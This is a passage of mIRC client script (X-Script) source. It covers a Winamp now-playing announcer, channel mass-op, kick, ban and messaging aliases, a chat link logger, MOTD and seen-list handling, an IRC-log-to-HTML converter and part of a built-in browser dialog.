    var %symbols = $round($calc( $walink(WA_Link_Raw_Stats,POSSEC) / $walink(WA_Link_Raw_Stats,TRACKSEC) * $xr(winamp,winampnum)),0)
    var %percent = $round($calc( $walink(WA_Link_Raw_Stats,POSSEC) / $walink(WA_Link_Raw_Stats,TRACKSEC) * 100),0)

    var %s = 1
    if (%symbols > 0) { var %sym.text =  $+ $iif($xr(winamp,winampcol) == on, $+ $xr(winamp,winampmsgc)) }
    else { var %sym.text =  }

    while (%s <= $xr(winamp,winampnum)) {
      if (%s < %symbols) { %sym.text = %sym.text $+ $xr(winamp,winampsymb1) }
      elseif (%s > %symbols) { %sym.text = %sym.text $+ $xr(winamp,winampsymb2) }
      elseif (%s == %symbols) { %sym.text = %sym.text $+ $xr(winamp,winampsymb1) $+ $iif($xr(winamp,winampcol) == on,) }

      if (%s == $xr(winamp,winampnum)) { %sym.text = %sym.text $+  }
      inc %s
    }

    .scid $activecid
    if (($active ischan) || ($query($active))) {
      if (!$xr(winamp,winampmeth)) { xw winamp winampmeth 3 }
      var %method = $xr(winamp,winampmeth)
      var %text = $parser($replace($parser($xr(winamp,winampmsg)),<artist>,%artist,<title>,%title,<album>,%album,<channels>,%channels,<bitrate>,%bitrate,<sample>,%sample,<length>,%length,<pos>,%pos,<size>,%size,<version>,%version,<progress>,%sym.text,<percent>,%percent))
      if (%method == 1) { ame %text }
      elseif (%method == 2) { amsg %text }
      elseif (%method == 3) { msg $active %text }
      elseif (%method == 4) { describe $active %text }
    }
    else { kte_echo -s $nm($lng(features,winamp)) $parser($replace($xr(winamp,winampmsg),<artist>,%artist,<title>,%title,<album>,%album,<channels>,%channels,<bitrate>,%bitrate,<sample>,%sample,<length>,%length,<pos>,%pos,<size>,%size,<version>,%version,<progress>,%sym.text,<percent>,%percent)) }
  }
}
alias walink {
  if ($isid) { return $dll($xdir(dll,WA_Link.dll),$1,$2) }
  else { dll $xdir(dll,WA_Link.dll) $1- }
}
alias winamp {
  if (!$dialog(winamp)) { dialog -ma winamp winamp }
}
dialog winamp {
  title ""
  size -1 -1 179 170
  option dbu
  icon $icl $+, 7

  text "", 997, 1 1 177 22
  list 1, 1 1 25 18, disable size

  box "", 2, 2 22 175 134
  box "", 22, 4 24 171 45
  text "", 4, 6 29 166 21
  text "", 6, 7 57 36 8
  edit "", 5, 44 56 128 10, autohs

  box "", 23, 4 69 171 45
  text "", 8, 6 77 60 8
  combo 9, 72 75 100 50, size drop
  text "", 11, 6 89 60 8
  edit "", 13, 72 88 8 10
  text "", 12, 97 89 60 8
  edit "", 14, 164 88 8 10
  text "", 15, 6 102 60 8
  edit "", 16, 72 101 15 10, autohs
  check "", 3, 97 101 60 10

  box "", 24, 4 114 171 40
  check "", 17, 6 120 69 10
  check "", 19, 87 120 85 10
  check "", 21, 6 130 104 10
  text "", 18, 6 142 35 8
  combo 20, 44 141 60 50, size drop

  button "", 7, 2 157 37 12, ok
  button "", 10, 40 157 37 12, cancel

  text "", 998, 0 0 0 0
  text "", 999, 0 0 0 0
}

ON *:dialog:winamp:init:*: {
  transparent
  mdxload

  dialog -t $dname $lng(winamp,settings) [/winamp]

  lang 4 $lng(winamp,tags)
  lang 6 $lng(winamp,playmsg)
  lang 8 $lng(winamp,progcol)
  lang 3 $lng(winamp,usecol)
  lang 11 $lng(winamp,progcol1)
  lang 12 $lng(winamp,progcol2)
  lang 15 $lng(winamp,symbno)
  lang 17 $lng(winamp,show)
  lang 19 $lng(winamp,start)
  lang 18 $lng(winamp,method)
  lang 21 $lng(winamp,dcc)
  lang 7 $lng(common,done)
  lang 10 $lng(common,cancel)

  barmdx 1 7
  lang 998 $lng(winamp,settings)
  lang 999 - $lng(winamp,desc)

  dll $xdir(dll,ColorCombo.dll) COMBO $dname 9

  if (!$xr(winamp,winampmsg)) { xw winamp winampmsg $lng(winamp,listen) <artist> - <title> [<progress>] }
  if (!$xr(winamp,winampmsgc)) { xw winamp winampmsgc 1 }

  if (!$xr(winamp,winampsymb1)) { xw winamp winampsymb1 l }
  did -i winamp 13 1 $xr(winamp,winampsymb1)
  if (!$xr(winamp,winampsymb2)) { xw winamp winampsymb2 l }
  did -i winamp 14 1 $xr(winamp,winampsymb2)
  if ((!$xr(winamp,winampnum)) && ($xr(winamp,winampnum) isnum)) { xw winamp winampnum 25 }
  did -i winamp 16 1 $xr(winamp,winampnum)

  if (!$xr(winamp,winampcol)) { xw winamp winampcol on }
  if ($xr(winamp,winampcol) == on) { did -c winamp 3 }

  did -i winamp 5 1 $xr(winamp,winampmsg)
  did -c winamp 9 $calc($xr(winamp,winampmsgc) + 2)

  if ($xr(winamp,winampsong) == on) { did -c $dname 17 }
  if ($xr(winamp,winampstart) == on) { did -c $dname 19 }
  if ($xr(winamp,winampdcc) == on) { did -c $dname 21 }

  did -a winamp 20 /ame | did -a winamp 20 /amsg | did -a winamp 20 /say | did -a winamp 20 /me
  if (!$xr(winamp,winampmeth)) { xw winamp winampmeth 3 }
  did -c winamp 20 $xr(winamp,winampmeth)
}
ON *:dialog:winamp:sclick:7: {
  if ($did($dname,5)) { xw winamp winampmsg $did($dname,5) }
  if ($did($dname,9).sel < 2) { xw winamp winampmsgc 0 }
  else { xw winamp winampmsgc $calc($did($dname,9).sel - 2) }

  if ($did($dname,13)) { xw winamp winampsymb1 $did($dname,13) }
  if ($did($dname,14)) { xw winamp winampsymb2 $did($dname,14) }
  if ($did($dname,16)) { xw winamp winampnum $did($dname,16) }

  if ($did($dname,3).state == 1) { xw winamp winampcol on }
  else { xw winamp winampcol off }

  if ($did($dname,17).state == 1) { xw winamp winampsong on } | else { xw winamp winampsong off | if ($timer(winamp)) { .timerwinamp off } }
  if ($did($dname,19).state == 1) { xw winamp winampstart on } | else { xw winamp winampstart off }
  if ($did($dname,21).state == 1) { xw winamp winampdcc on } | else { xw winamp winampdcc off }
  xw winamp winampmeth $did($dname,20).sel
}

ON *:FILERCVD:*.mp3,*.ogg,*.mid,*.wma,*.wav: {
  if (($xr(winamp,winampdcc) == on) && ($walink(WA_Link_Raw_Stats,STATE) == $!WA_PLAYING)) { run $walink(WA_Link_Raw_Stats,WADIR) $+ winamp.exe /add $+(",$filename,") }
}
;--------------------------------
;   [[X-Script mass operations]]
;--------------------------------
alias massop {
  if ($me !isop #) { kte_echo -s $nm($lng(core,mass)) $lng(core,mass1) }
  var %i = 0 | :start | inc %i
  if ($nopnick(#,%i) == $me) { goto start }
  if (!$nopnick(#,%i)) { if (%nicks) { raw -q mode $chan +oooooo %nicks | unset %nicks } | halt }
  if (%nicks) { %nicks = %nicks $nopnick(#,%i) }
  if (!%nicks) { var %nicks = $nopnick(#,%i) }
  if ($gettok(%nicks,0,32) >= 6) { raw -q mode $chan +oooooo %nicks | unset %nicks }
  goto start
}
alias massdeop {
  if ($me !isop #) { kte_echo -s $nm($lng(core,mass)) $lng(core,mass1) }
  var %total = $opnick(#,0), %setback. [ $+ [ $chan ] ] = "", %i = 0
  :next | inc %i
  %setback. [ $+ [ $chan ] ] = %setback. [ $+ [ $chan ] ] $opnick(#,%i)
  if (%i == %total) { goto done }
  goto next
  :done | unset %total
  var %i = 0 | :start | inc %i
  if ($opnick(#,%i) == $me) { goto start }
  if (!$opnick(#,%i)) { if (%nicks) { raw -q mode $chan -oooooo %nicks | unset %nicks } | halt }
  if (%nicks) { %nicks = %nicks $opnick(#,%i) }
  if (!%nicks) { var %nicks = $opnick(#,%i) }
  if ($gettok(%nicks,0,32) >= 6) { raw -q mode $chan -oooooo %nicks | unset %nicks }
  goto start
}
alias mvall {
  if ($nick(#,0,r) < 1) { kte_echo -s $nm($lng(core,mass)) $lng(core,mass2) | halt }
  if ($me !isop #) { kte_echo -s $nm($lng(core,mass)) $lng(core,mass1) }
  else {
    var %mass = "", %i = 0
    :incl
    inc %i
    if ($nick(#,%i,r) = $null) { if ($len(%mass) > 0) { mode # +vvvvvv %mass } | halt }
    %mass = %mass $nick(#,%i,r)
    if (3 // %i) { mode # +vvvvv %mass | %mass = "" }
    goto incl
  }
}
alias mdall {
  if ($nick(#,0,v) < 1) { kte_echo -s $nm($lng(core,mass)) $lng(core,mass3) | halt }
  if ($me !isop #) { kte_echo -s $nm($lng(core,mass)) $lng(core,mass1) }
  else {
    var %mass = "", %i = 0
    :incl
    inc %i
    if (!$nick(#,%i,v)) { if ($len(%mass) > 0) { mode # -vvvvvv %mass } | halt }
    %mass = %mass $nick(#,%i,v)
    if (3 // %i) { mode # -vvvvv %mass | %mass = "" }
    goto incl
  }
}
alias opmsg {
  var %mmsg = $$input($lng(core,mass5),1)
  kte_echo -s $nm($lng(core,mass)) $lng(core,mass4)
  var %i = $nick(#,0,o),%mmint = 0,%mmnoptarg = #,%mmsec = $nick(#,0,o)
  while (%i) {
    if ($nick(#,%i,o) != $me) {
      inc %mmint
      .timer 1 %mmint .msg $nick(#,%i,o) %mmsg
    }
    dec %i
  }
  %totmmnops = $+(%mmint,/,%mmsec)
  .timer 1 %mmint kte_echo -s $nm($lng(core,mass)) $lng(core,mass6) %mmnoptarg. $lng(core,mass7) ( $+ %totmmnops $+ ) $lng(core,mass8)
  unset %mmsg %mmint %totmmnops %mmnoptarg
}
alias massmsg {
  var %mmsg = $$input($lng(core,mass9),1)
  kte_echo -s $nm($lng(core,mass)) $lng(core,mass10)
  var %i = $nick(#,0,a,o),%mmint = 0,%mmnoptarg = #,%mmsec = $nick(#,0,a,o)
  while (%i) {
    if ($nick(#,%i,a,o) != $me) {
      inc %mmint
      .timer 1 %mmint .msg $nick(#,%i,a,o) %mmsg
    }
    dec %i
  }
  %totmmnops = $+(%mmint,/,%mmsec)
  .timer 1 %mmint kte_echo -s $nm($lng(core,mass)) $lng(core,mass6) %mmnoptarg. $lng(core,mass7) ( $+ %totmmnops $+ ) $lng(core,mass8)
  unset %mmsg %mmint %totmmnops %mmnoptarg
}
alias allmsg {
  var %mmsg = $$input($lng(core,mass0),1)
  var %i = $nick(#,0),%mmint = 0,%mmnoptarg = #,%mmsec = $nick(#,0)
  while (%i) {
    if ($nick(#,%i) != $me) {
      inc %mmint
      .timer 1 %mmint .msg $nick(#,%i) %mmsg
    }
    dec %i
  }
  %totmmnops = $+(%mmint,/,%mmsec)
  .timer 1 %mmint kte_echo -s $nm($lng(core,mass)) $lng(core,mass6) %mmnoptarg . $lng(core,mass7) ( $+ %totmmnops $+ ) $lng(core,mass8)
  unset %mmsg %mmint %totmmnops %mmnoptarg
}
alias massban {
  var %i = 1 | :start
  if (!$nick(#,%i)) { halt }
  if ($nick(#,%i) != $me) { ban # $nick(#,%i) 2 }
  inc %i
  goto start
}
alias masskickban {
  if ($xr(Messages,kicknrnd) == on) { xw Messages kicknmsg $parser($read(Settings\ScriptData\Messages\Kick.txt)) }
  var %i = 1

  :banstart
  mode $chan -o $nick
  if (!$nick(#,%i)) { goto next }
  if ($nick(#,%i) != $me) { ban # $nick(#,%i) 2 }
  inc %i
  goto banstart

  :next
  var %i = 1, %nr = 1

  :kickstart
  if (!$nick(#,%i)) { unset %nr | halt }
  if ($nick(#,%i) != $me) { kick # $nick(#,%i) $parser($xr(Messages,kicknmsg)) | inc %nr }
  inc %i
  goto kickstart
}
alias massaccessdel {
  if ($me !isop #) { kte_echo -s $nm($lng(core,mass)) $lng(core,mass1) | halt }
  else {
    %lse massaccessdel # del $+ ...
    var %i = 1
    :next
    var %nick = $nick(#,%i)
    if (!%nick) { goto done }
    if (%nick != $me) { chanserv access # del %nick }
    inc %i
    goto next
    :done
  }
}
alias massaccessgive50 {
  if ($me !isop #) { kte_echo -s $nm($lng(core,mass)) $lng(core,mass1) | halt }
  else {
    var %i = 1
    :next
    var %nick = $nick(#,%i)
    if (!%nick) { goto done }
    if (%nick != $me) { chanserv access # add %nick 50 }
    inc %i
    goto next
    :done
  }
}
alias masskick {
  if ($xr(Messages,kicknrnd) == on) { xw Messages kicknmsg $parser($read(Settings\ScriptData\Messages\Kick.txt)) }
  if ($me !isop #) { kte_echo -s $nm($lng(core,mass)) $lng(core,mass1) | halt }
  else {
    var %i = 1
    :next
    var %nick = $nick(#,%i)
    if (!%nick) { goto done }
    if (%nick != $me) { kick # %nick $parser($xr(Messages,kicknmsg)) }
    inc %i
    goto next
    :done
  }
}
;-----------------------------
;   [[X-Script link cacther]]
;-----------------------------
alias -l link_catch_c {
  if ((*.gov* iswm %catchlink) || (*.edu* iswm %catchlink) || (*.de* iswm %catchlink) || (*.uk* iswm %catchlink) || (*.net* iswm %catchlink) || (*.org* iswm %catchlink) || (*.com* iswm %catchlink) || (*.ru* iswm %catchlink) || (*.lv* iswm %catchlink) || (*www.* iswm %catchlink) || (*ftp:* iswm %catchlink) || (*http:* iswm %catchlink)) {
    if (!$read($logdir\!Catched_Links.log,w,* $+ %catchlink $+ *)) { var %link.ctc = TEXT, nick: $chr(32) $+ %catchnick link: $chr(32) $+ %catchlink $chr(32) time: $chr(32) $fulldate | .write $+(",$logdir\!Catched_Links.log,") %link.ctc }
  }
}
alias -l link_catch_a {
  if ((*.gov* iswm %catchlink) || (*.edu* iswm %catchlink) || (*.de* iswm %catchlink) || (*.uk* iswm %catchlink) || (*.net* iswm %catchlink) || (*.org* iswm %catchlink) || (*.com* iswm %catchlink) || (*.ru* iswm %catchlink) || (*.lv* iswm %catchlink) || (*www.* iswm %catchlink) || (*ftp:* iswm %catchlink) || (*http:* iswm %catchlink)) {
    if (!$read($logdir\!Catched_Links.log,w,* $+ %catchlink $+ *)) { var %link.ctc = ACTION, nick: $chr(32) $+ %catchnick link: $chr(32) $+ %catchlink $chr(32) time: $chr(32) $fulldate | .write $+(",$logdir\!Catched_Links.log,") %link.ctc }
  }
}
alias -l link_catch_n {
  if ((*.gov* iswm %catchlink) || (*.edu* iswm %catchlink) || (*.de* iswm %catchlink) || (*.uk* iswm %catchlink) || (*.net* iswm %catchlink) || (*.org* iswm %catchlink) || (*.com* iswm %catchlink) || (*.ru* iswm %catchlink) || (*.lv* iswm %catchlink) || (*www.* iswm %catchlink) || (*ftp:* iswm %catchlink) || (*http:* iswm %catchlink)) {
    if (!$read($logdir\!Catched_Links.log,w,* $+ %catchlink $+ *)) { var %link.ctc = NOTICE, nick: $chr(32) $+ %catchnick link: $chr(32) $+ %catchlink $chr(32) time: $chr(32) $fulldate | .write $+(",$logdir\!Catched_Links.log,") %link.ctc }
  }
}

ON *:TEXT:*:*: {
  if (($xr(Options,ctc_link) == on) && ($nick != ChanServ) && ($nick != NickServ) && ($nick != MemoServ)) { set %catchnick $nick | set %catchlink $1- | link_catch_c }
}
ON *:ACTION:*:*: {
  if (($xr(Options,ctc_link) == on) && ($nick != ChanServ) && ($nick != NickServ) && ($nick != MemoServ)) { set %catchnick $nick | set %catchlink $1- | link_catch_a }
}
ON *:NOTICE:*:*: {
  if (($xr(Options,ctc_link) == on) && ($nick != ChanServ) && ($nick != NickServ) && ($nick != MemoServ)) { set %catchnick $nick | set %catchlink $1- | link_catch_n }
}
;---------------------
;   [[X-Script MOTD]]
;---------------------
RAW 375:*: {
  haltdef
  if (($gettok($readini($mircini,options,n1),11,44))) && (!%motd.manual. [ $+ [ $cid ] ]) { return }
  if ($window($motd.win)) { window -c $motd.win }
  window -nk0 $motd.win
  kte_echo $motd.win $lng(core,motd1)
  echo $motd.win 
}
RAW 376:*: {
  haltdef
  if ($window($motd.win)) {
    echo -i2 $motd.win 
    kte_echo $motd.win $lng(core,motd2) $server
    unset %motd.manual. $+ $cid
  }
}
RAW 372:*: {
  haltdef
  if ($window($motd.win)) { echo -i2 $motd.win    $3- }
}
alias -l motd.win { return $+(@MOTD[,$curconserv,/,$cid,]) }
;------------------------------------
;   [[X-Script IAL update for seen]]
;------------------------------------
RAW 366:*: {
  if ($xr(seensys,savejoin) == on) {
    if ($istok($eval($+(%, ialupd., $cid), 2), $2, 44)) {
      if ($nick($2,0) < 500) {
        .quote MODE $2 b $+ $lf $+ WHO $2
      }
      else {
        .timer 1 10 .quote MODE $2 b
        .timer 1 $calc($numtok($eval($+(%, ialupd., $cid), 2), 44) * 15) .quote WHO $2
      }
      halt
    }
  }
}
RAW 315:*: {
  if ($xr(seensys,savejoin) == on) {
    if ($istok($eval($+(%, ialupd., $cid), 2), $2, 44)) {
      %ialupd. [ $+ [ $cid ] ] = $remtok($eval($+(%, ialupd., $cid), 2), $2, 1, 44)
    }
    halt
  }
}
RAW 353:*: {
  if ($xr(seensys,savejoin) == on) {
    if ($istok($eval($+(%, ialupd., $cid), 2), $3, 44)) {
      halt
    }
  }
}
RAW 367:*: {
  if ($xr(seensys,savejoin) == on) {
    if ($istok($eval($+(%, ialupd., $cid), 2), $2, 44)) {
      halt
    }
  }
}
RAW 368:*: {
  if ($xr(seensys,savejoin) == on) {
    if ($istok($eval($+(%, ialupd., $cid), 2), $2, 44)) {
      halt
    }
  }
}
RAW 352:*: {
  if ($xr(seensys,savejoin) == on) {
    if ($istok($eval($+(%, ialupd., $cid), 2), $2, 44)) {
      var %address = $+($gettok($1-,3,32),@,$gettok($1-,4,32))
      var %nick = $gettok($1-,6,32)
      var %channel = $gettok($1-,2,32)
      if ($gettok($seen1(SeenGet,xscript %nick),1,32) == +OK) { seen1 SeenDel xscript %nick }
      .timer 1 0 seen1 SeenAdd xscript %nick %address %channel SEEN $ctime 5 $network %nick $lng(seensys,seen2) %channel
      halt
    }
  }
}
;---------------------------
;   [[X-Script Info Dialog]
;---------------------------
alias information {
  if ($xr(options,errdialog) == on) {
    dialog -ma information information
    dialog -t information $gettok($1-,1,42)

    did -o information 998 1 $gettok($1-,1,42)
    did -o information 999 1 - $gettok($1-,2,42)

    did -a information 3 $gettok($1-,3,42)
  }
  else {
    kte_echo -s $nm($gettok($1-,1,42)) $gettok($1-,3,42)
  }
}
dialog information {
  title ""
  size -1 -1 149 52
  option dbu
  icon $icl $+, 57

  text "", 997, 1 1 147 22
  list 2, 1 1 25 18, disable size

  box "", 4, 2 22 145 16
  text "", 3, 4 27 140 8, center

  button "", 1, 2 39 35 12, default ok

  text "", 998, 0 0 0 0
  text "", 999, 0 0 0 0
}

ON *:dialog:information:init:*: {
  transparent
  mdxload

  barmdx 2 57
  lang 1 $lng(common,ok)
}
;---------------------
;   [[X-Script HTML]]
;---------------------
alias buf2html {
  reset
  if ($window($1-)) { var %@ = $1- }
  else { var %@ = $active }
  %i2h.buffermode = 1
  if (%@ == status window) { filter -swz @i2h }
  elseif (=* iswm %@) {
    %i2h.buffermode = 0
    savebuf %@ irc2html.tmp
    loadbuf @i2h irc2html.tmp
    .remove irc2html.tmp
  }
  else { filter -wwz %@ @i2h }
  var %x = $line(@i2h,0)
  while (%x) {
    if ($line(@i2h,%x) == $chr(32)) { dline @i2h %x }
    dec %x
  }
  var %t = %@ buffer
  var %f = $mkfn(%@) $+ .html
  var %outputfile = $i2h(%t,%f)
  kte_echo -s $nm($lng(core,html)) $lng(core,html1) %outputfile
}
alias log2html {
  var %dll = 0
  if ($1 == -dll) {
    %dll = 1
    tokenize 32 $2-
  }
  elseif ($1 == -pdr) {
    %dll = 0
    tokenize 32 $2-
  }
  if ($isfile($1-)) { var %log = $1- }
  else { var %log = $sfile($logdir*.log,$lng(core,html2)) }
  if ($isfile(%log) == $false) {
    if (%log) kte_echo -s $nm($lng(core,html)) $lng(core,html3) %log
    return
  }
  if (*.log iswm %log) { var %html = $left(%log,-3) $+ html }
  else { var %html = %log $+ .html }
  if (%dll) {
    var %irc2html.dll = $mircdirDll $+ Html.dll
    var %size = $window(@i2h).fontsize
    if (%size < 0) { %size = $right(%size,-1) $+ pt }
    else { %size = %size $+ px }
    window -h @HTML
    var %n = 0, %params = %log $+ $cr $+ %html $+ ? $+ $window(@i2h).font $+ ;font-size: $+ %size $+ ? $+ $colour(normal) $+ ? $+ $colour(background)
    close -@ @HTML
    while (%n < 16) {
      %params = %params $+ ? $+ $colour(%n)
      inc %n
    }
    var %outputfile = $dll(%irc2html.dll,irc2html,%params)
  }
  else {
    reset
    loadbuf @i2h $shortfn(%log)
    var %title = $nopath(%log)
    if (*.log iswm %title) { %title = $left(%title,-4) log }
    var %outputfile = $i2h(%title,%html)
    kte_echo -s $nm($lng(core,html)) $lng(core,html1) %outputfile
  }
}
alias cb2html {
  reset
  var %x = 1, %f = Clipboard.html
  while (%x <= $cb(0)) {
    aline @i2h $iif(* iswm $cb(%x),$cb(%x),)
    inc %x
  }
  var %outputfile = $i2h(Clipboard,%f)
  kte_echo -s $nm($lng(core,html)) $lng(core,html1) %outputfile
}

ON *:close:@HTML:unset %i2h.*

alias -l modify_output_filename {
  if (!$isdir($logdir $+ HTML\)) { mkdir $logdir $+ HTML\ }
  var %file = $nopath($1-)
  %file = $mkfn(%file)
  %file = $remove(%file,$chr(35))
  if (.* iswm %file) { %file = _ $+ %file }
  %file = $replace(%file,$chr(160),_)
  return $logdir $+ HTML\ $+ %file
}
alias -l reset {
  close -@ @i2h @HTML
  unset %i2h.*
  window -h @i2h
}
alias -l _rgb {
  tokenize 44 $rgb($colour($1))
  return $base($1,10,16,2) $+ $base($2,10,16,2) $+ $base($3,10,16,2)
}
alias -l i2h {
  var %title = $1
  var %outputfile = $modify_output_filename($2)
  window -h @HTML
  var %ctime = $ctime, %x = 16
  while (%x) {
    dec %x
    %i2h. [ $+ [ %x ] ] = $_rgb(%x)
  }
  if (* iswm %outputfile) || ($line(@HTML,0) !isnum 1-) {
    if (* iswm %outputfile) { aline @HTML <html><head><meta http-equiv="Content-Type" content="text/html;charset=windows-1251" /><title> $+ %title $+ </title><style type="text/css"><!-- }
    else { aline @HTML <html><head><title>irc2html</title><style type="text/css"><!-- }
    var %size = $window(@i2h).fontsize
    if (%size < 0) { %size = $right(%size,-1) $+ pt }
    else { %size = %size $+ px }

    aline @HTML body{font-family: $+ $window(@i2h).font $+ ;font-size: $+ %size $+ ;color: $+ %i2h. [ $+ [ $colour(no) ] ] $+ ;background-color: $+ %i2h. [ $+ [ $colour(b) ] ] $+ ;}
    aline @HTML --></style></head><body>
  }
  %x = $line(@i2h,0)
  while (%x) {
    %i2h.ecolor = $line(@i2h,1).color
    convert $line(@i2h,1)
    dline @i2h 1
    dec %x
  }
  if (* iswm %outputfile) {
    aline @HTML </body></html><!-- $duration($calc($ctime -%ctime)) -->
    unset %i2h.*
    savebuf @HTML $+(",%outputfile,")
    close -@ @HTML
  }
  else { aline @HTML </body></html> }

  close -@ @i2h
  return %outputfile
}
alias -l classname {
  var %bold = $1, %underline = $2, %fcolor = $3, %bcolor = $4, %reverse = $5, %bg = $6
  var %class = $iif(%underline,$iif(%bold,W,X),$iif(%bold,Y,Z))
  if (%reverse != 1) {
    if (%class == Z) { %class = }
    %class = %class $+ $chr($calc($asc(A) + %fcolor))
    if (%bcolor != %bg) { %class = %class $+ $chr($calc($asc(A) + %bcolor)) }
  }
  return %class
}
alias -l classdef {
  var %class = $1, %bold = $2, %underline = $3, %fcolor = $4, %bcolor = $5, %reverse = $6, %ncolor = $7, %bg = $8
  var %def = . $+ %class $+ {font-weight: $+ $iif(%bold,bold,normal)
  %def = %def $+ ;text-decoration: $+ $iif(%underline,underline,none)
  %def = %def $+ ;color: $+ %i2h. [ $+ [ $iif(%reverse,%bg,%fcolor) ] ]
  %def = %def $+ ;background-color: $+ %i2h. [ $+ [ $iif(%reverse,%ncolor,%bcolor) ] ]
  %def = %def $+ ;}
  return %def
}
alias -l convert {
  if (* !iswm $1-) return
  var %nbsp = $chr(160), %b = , %r = , %u = , %k = , %o = , %text = $replace($1-,&,&amp;,<,&lt;,>,&gt;) $+ %o, %ncolor = $colour(no), %ecolor = %ncolor, %bg = $colour(b), %etag = 0
  if (%i2h.buffermode) %ecolor = %i2h.ecolor
  elseif ($1 == *) {
    if (/*: iswm $2) || ($2-3 == Invalid format:) || ($2-4 == Too many parameters:) || ($2-3 == Invalid parameters:) { %ecolor = $colour(i) }
    elseif (Break: iswm $2) { %ecolor = $colour(c) }
    else { %ecolor = $colour(a) }
  }
  elseif (-?*- iswm $1) { var %ecolor = $colour(not) }
  elseif (-> [*] iswm $1-2) { var %ecolor = $colour(c) }
  elseif ($1 == ***) { var %ecolor = $colour(i) }
  if (%ecolor !isnum) { %ecolor = %ncolor }
  if (%ecolor != %ncolor) { %etag = 1 }
  var %btext = $replace(%text,%k,%b,%r,%b,%u,%b,%o,%b), %codenum = 1, %numcodes = $count(%btext,%b), %nextcodepos, %codepos = 1, %prevcodepos, %nocomma, %class, %baseclass, %prevclass
  var %char, %bold = 0, %underline = 0, %reverse = 0, %fcolor = %ecolor, %bcolor = %bg, %aline, %length = $len(%text), %tcolor, %inside_span = 0
  %baseclass = $classname(%bold,%underline,%ecolor,%bcolor,%reverse,%bg)
  %class = %baseclass
  if (%etag) {
    %aline = <span class= $+ %class $+ >
    if (%i2h.c [ $+ [ %class ] ] != 1) {
      iline @HTML 2 $classdef(%class,%bold,%underline,%fcolor,%bcolor,%reverse,%ncolor,%bg)
      %i2h.c [ $+ [ %class ] ] = 1
    }
  }
  while (%codenum <= %numcodes) {
    %prevcodepos = %codepos
    %nextcodepos = $pos(%btext,%b,%codenum)
    %codepos = %nextcodepos
    while ($mid(%btext,%codepos,1) == %b) {
      inc %codenum
      %char = $mid(%text,%codepos,1)
      if (%char == %k) {
        inc %codepos
        %nocomma = 1
        %tcolor =
        while ($mid(%text,%codepos,1) isnum) {
          %tcolor = $ifmatch
          inc %codepos
          if ($mid(%text,%codepos,1) isnum) {
            %tcolor = %tcolor $+ $ifmatch
            inc %codepos
          }
          if (%tcolor == 99) { %tcolor = %ecolor }
          if (%fcolor == 99) { %fcolor = %bcolor }
          %tcolor = $calc(%tcolor % 16)
          %fcolor = $calc(%fcolor % 16)
          if (%nocomma) { %fcolor = %tcolor }
          else { %bcolor = %tcolor }
          if (%nocomma) && ($mid(%text,%codepos,1) == ,) {
            %nocomma = 0
            inc %codepos
          }
          else break
        }
        if (* !iswm %tcolor) {
          %fcolor = %ecolor
          %bcolor = %bg
        }
      }
      else {
        if (%char == %b) { %bold = 1 - %bold }
        elseif (%char == %u) { %underline = 1 - %underline }
        elseif (%char == %r) { %reverse = 1 - %reverse }
        elseif (%char == %o) {
          %fcolor = %ecolor
          %bcolor = %bg
          %bold = 0
          %underline = 0
          %reverse = 0
        }
        inc %codepos
      }
    }
    %prevclass = %class
    %class = $classname(%bold,%underline,%fcolor,%bcolor,%reverse,%bg)
    if (%prevcodepos < %nextcodepos) {
      var %" = $+(",$mid(%text,%prevcodepos,$calc(%nextcodepos -%prevcodepos)),")
      if (" * " iswm %") { %aline = %aline $+ %nbsp $+ $right($left(%",-2),-2) $+ %nbsp }
      elseif (" * iswm %") { %aline = %aline $+ %nbsp $+ $right($left(%",-1),-2) }
      elseif (* " iswm %") { %aline = %aline $+ $right($left(%",-2),-1) $+ %nbsp }
      else { %aline = %aline $+ $right($left(%",-1),-1) }
    }
    if (%codepos > %length) break
    if (%class != %prevclass) {
      if (%inside_span) {
        %aline = %aline $+ </span>
        %inside_span = 0
      }
      if (%class != %baseclass) {
        if (%i2h.c [ $+ [ %class ] ] != 1) {
          iline @HTML 2 $classdef(%class,%bold,%underline,%fcolor,%bcolor,%reverse,%ncolor,%bg)
          %i2h.c [ $+ [ %class ] ] = 1
        }
        aline @HTML %aline $+ <span
        %aline = class= $+ %class $+ >
        %inside_span = 1
      }
    }
  }
  if (%inside_span) {
    %aline = %aline $+ </span>
    %inside_span = 0
  }
  if (%codepos <= %length) { %aline $+ $mid(%text,%codepos) }
  if (%etag) { %aline = %aline $+ </span> }
  aline @HTML %aline $+ <br>
}
;--------------------------------
;   [[X-Script online browser]]
;--------------------------------
alias xonline {
  if (!$dialog(x_online)) { dialog -ma x_online x_online }
  if ($1) {
    did -i x_online 9 1 $1
    did -c x_online 9 1
    writehistory
  }
  elseif ($parser($xr(Browser,homepage))) {
    var %site = $v1
    dll $xdir(dll,nHTMLn.dll) navigate %site
  }
}
alias internet { xonline $1- }
alias net { xonline $1- }
alias browser { xonline $1- }

dialog x_online {
  title ""
  size -1 -1 297 250
  option dbu
  icon $icl $+, 30

  list 3, 4 2 190 13, size

  box "", 1, -1 19 300 20
  text "", 10, 4 26 22 8
  combo 9, 27 25 207 10, edit drop
  list 7, 236 25 13 9, size

  list 2, 0 40 297 199, size
  list 8, 0 239 297 11, size

  button "", 6, 0 0 0 0, hide
  button "", 11, 0 0 0 0, default
}

ON *:dialog:x_online:init:*: {
  mdxload

  dialog -t $dname $lng(features,xonline) [/xonline,/net,/internet]
  lang 10 $lng(core,address)

  if (!$xr(Browser,BrowserW)) { xw Browser BrowserW 297 }
  if (!$xr(Browser,BrowserH)) { xw Browser BrowserH 235 }

  mdx SetDialog $dname coords * * $xr(Browser,BrowserW) $xr(Browser,BrowserH)

  mdx SetControlMDX $dname 3,7 Toolbar flat wrap nodivider > $bars
  mdx SetFont $dname 3,7 -11 400 Tahoma
  mdx SetBorderStyle $dname 3,7

  did -i $dname 3 1 bmpsize 32 32
  did -i $dname 3 1 setimage icon large 67, $+ $icl
  did -i $dname 3 1 setimage icon large 68, $+ $icl
  did -i $dname 3 1 setimage icon large 57, $+ $icl
  did -i $dname 3 1 setimage icon large 69, $+ $icl
  did -i $dname 3 1 setimage icon large 70, $+ $icl
  did -i $dname 3 1 setimage icon large 29, $+ $icl
  did -i $dname 3 1 setimage icon large 71, $+ $icl
  did -i $dname 3 1 setimage icon large 155, $+ $icl

  did -a $dname 3 1 $chr(9) $+ $lng(core,browse1)
  did -a $dname 3 2 $chr(9) $+ $lng(core,browse2)
  did -a $dname 3 -
  did -a $dname 3 3 $chr(9) $+ $lng(core,browse3)
  did -a $dname 3 4 $chr(9) $+ $lng(core,browse4)
  did -a $dname 3 -
